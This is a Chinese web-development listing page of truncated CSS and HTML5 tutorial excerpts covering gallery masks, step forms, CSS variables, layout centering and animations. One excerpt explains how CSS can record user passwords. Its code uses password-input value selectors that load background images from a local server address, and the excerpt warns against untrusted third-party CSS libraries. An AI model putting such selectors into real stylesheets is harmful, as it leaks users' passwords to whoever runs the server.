本节课我们将介绍，如何使用css在不修改图片源的前提下装饰你的图片画廊。这里用到的技巧也很简单，就是在图片之前创建一个<span>，并在span上使用background-image生成一个遮罩的效果。这种方式既简单又灵活，demo中介绍了20多种样式，大家可以参看。 这种css技巧带来的好处节约时间 — 你不需要在photoshop中创建图片模板，然后为每张图片生成独立文件。保留原始图片源 — 我们不用担心日后需要更换图片主题的时候，没有原图片...
分步骤的登录注册表单现在也比较多，主要是能提高用户体验，用户可以有选择性的填写相应的表单信息，不至于让用户看到一堆表单望而却步。今天和大家分享的就是一款基于HTML5和CSS3的分步骤注册登录表单，外观不用说，非常漂亮。你看一下DEMO就知道了。接下来我们要来一起看看实现的过程是怎样的。代码有点复杂，主要由HTML代码、CSS3代码以及Javascript代码组成。HTML代码：<form id="msform"><!-- progressbar --><ul id="progres...
未来使用H5的场景会越来越多，这是令web开发者欢欣鼓舞的事情。然而有一个现实我们不得不看清，那就是IE系列浏览器还占有一大部分市场份额，以IE8、9为主，windows8.1的用户已经用上了IE10/11，而考虑我国的国情，IE6、7依然存留不少。在我们放手用HTML5开发的时候，新特性支持度检测就是必不可少的了。一种方式是用navigator.userAgent或navigator.appName来检测浏览器类型和版本，不过这种方式不是很可靠，浏览器对于一些新特性也...
大风起兮云飞扬，安得猛士兮走四方!html5+css3，不学不行。 做web开发已经有好几年了，见证了太多语言的崛起和陨落。 其实作为一个程序员最苦逼的事情莫过于每天要不停的追赶各大公司新出的框架和语言(这首当其冲的就是.net程序员，当然很不幸，我就是.net成员，这刚把mvc 4.0整明白现在5.0又出来了。) 当然，抱怨解决不了任何问题，抱怨也无法让你的钱包鼓起来。so, 程序猿们，继续学习吧。 html5+css3时代， 简称3+5时代(3+5...
HTML5, CSS3以及相关技术（例如canvas和web sockets）带来了非常有用的特性，可以让我们的web程序提升一个新的level。这些新技术允许我们只用HTML,CSS和JavaScript就可以构建包括在平板和移动设备上能够运行的多样化表单页面。HTML5虽然提供了很多新特性，但是如果我们不考虑旧版本的浏览器就是用这些新技术也不太现实，老版本浏览器已经使用了很多年，我们依然需要考虑这些版本的兼容性问题。本文要解决的问题就是：在我们使用HTM...
简介CSS Variables，一个并不是那么新的东西，但对css来说绝对是一场革命。之前使用变量的时候，需要借助sass、less等预处理工具来实现，现在我们可以直接使用css来声明变量。兼容性老规矩，先来看下兼容性兼容性一片绿，红的那不是还有两个吗？做大事怎么能拘小节呢，让它咕噜（gun）一边去吧。语法语法有点难看但很简单， --* 来声明变量名， var(--*) 来使用，也许你要问了，为什么使用 -- 不用 $ 一类的呢，唉，那不是sass、le...
本文通过代码给大家介绍了HTML+CSS3模拟心的跳动的实现方法，非常不错，具有参考借鉴价值，需要的朋友参考下吧废话不多说了，直接给大家贴代码了，具体代码如下所示：<!DOCTYPE html> <html> <head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><title>模拟心的跳动</title> </head> <style type="text/css">* {margin: 0;padding: 0; } body {background-color: #D4CECE; } .big {width: 200px;h...
单列布局水平居中水平居中的http://www.gxlcms.com/code/7955.html" target="_blank">页面布局中最为常见的一种布局形式，多出现于标题，以及内容区域的组织形式，下面介绍四种实现水平居中的方法（注：下面各个实例中实现的是child元素的对齐操作，child元素的父容器是parent元素）使用inline-block 和 text-align实现.parent{text-align: center;}.child{display: inline-block;}优点：兼容性好；不足：需要同时设置子元素和父元...
之前的博客收录集只是初版，还在修改，所以就不拿出来分享了。现在博客收录集的终版已经敲定：http://www.ido321.com/daohang/ 改版说明如下： 1、增加了“我要上榜”板块：根据随机筛选和博主在本博客的活跃度匹予以展示，增加各收录博客的展示机会。 2、统计每个分类的博客数目：每个分类在首页显示20个，超出部分已链接形式链接到对应的页面（文件名以类别前缀+more自动生成）。（见上图的Web开发） 3、可以再博客收...
本文主要和大家介绍了纯css实现背景图片半透明内容不透明的方法，小编觉得挺不错的，现在分享给大家，也给大家做个参考，希望能帮助到大家。最近做一个登陆界面的，突然想使用这种背景图片透明，而内容不透明的效果，这里我就说一说我的两个思路吧。效果展示半透明不透明常见的失败做法最常见的做法事设置元素的opacity,这种设置出来的效果就是内容与背景都事半透明的，严重影响视觉效果。还有就是设置background-color:rgba(),这种...
本文主要和大家介绍了CSS 记录用户密码的方法的相关资料,简单的CSS代码，甚至不符合图灵完备的语言，但是也能成为一些攻击者的工具，下面简单介绍一下如何使用CSS去记录用户的密码。但是这些CSS脚本会出现在第三方CSS库中，所以使用第三方CSS库也需要谨慎，确保代码安全。直接上代码解析：input[type="password"][value$="0"] { background-image: url("http://localhost:3000/0"); } input[type="password"][value$="1"] { backg...
毛毛虫儿时大家都有见过，今天想起来写一个爬行的动作，我们先来看一下效果图，具体代码如下所示：html代码：<p class=container><p class=hide left></p><p class=hide right></p><p class=hide bottom></p><p class=circle-container><p class=circle></p></p> </p>css代码： <style> body {background-color: #1B6CB2;margin: 0; } .container {position: absolute;width: 600px;height: 400px;overflow: hidden;top: 50%;left:...
很多答题的H5界面上有旋转倒计时的效果，一个不断旋转减少的动画，类似于下图的这样。本文主要和大家介绍了css3 实现圆形旋转倒计时功能,需要的朋友可以参考下，希望能帮助到大家。今天研究了下，可以通过border旋转得到。一般我们可以通过border得到一个四段圆。See the Pen circle by stoneniqiu (@stoneniqiu) on CodePen. 接下来接可以通过旋转的方式形成一个倒计时的效果：See the Pen circle-rotate by stoneniqiu (@stoneni...
本文主要和大家分享html和csss实现简单博客代码，希望能帮助大家用HTML和css完成一个简单的博客。过度动画-webkit-transition: color 200ms;-o-transition: color 200ms;transition: color 200ms;阴影-webkit-box-shadow: 0 0 3px 2px rgba(0,0,0,.2); box-shadow: 0 0 3px 2px rgba(0,0,0,.2)；css代码.side-bar{ float: left; width: 20%;}.main{ float: right; width: 80%; color: #555;}a{ text-decoration: none;}a ,b...
本文主要和大家介绍了css3 仿写阿里云水纹效果的示例代码的相关资料,小编觉得挺不错的，现在分享给大家，也给大家做个参考。一起跟随小编过来看看吧，希望能帮助到大家。效果图什么也不说了，上代码。<!DOCTYPE html> <html> <head><title>css3 水纹效果</title><style type="text/css">.point_area {text-align: center;position: relative;width: 150px;height: 150px;transition: opacity .5s ease-out;}.point_area .point {po...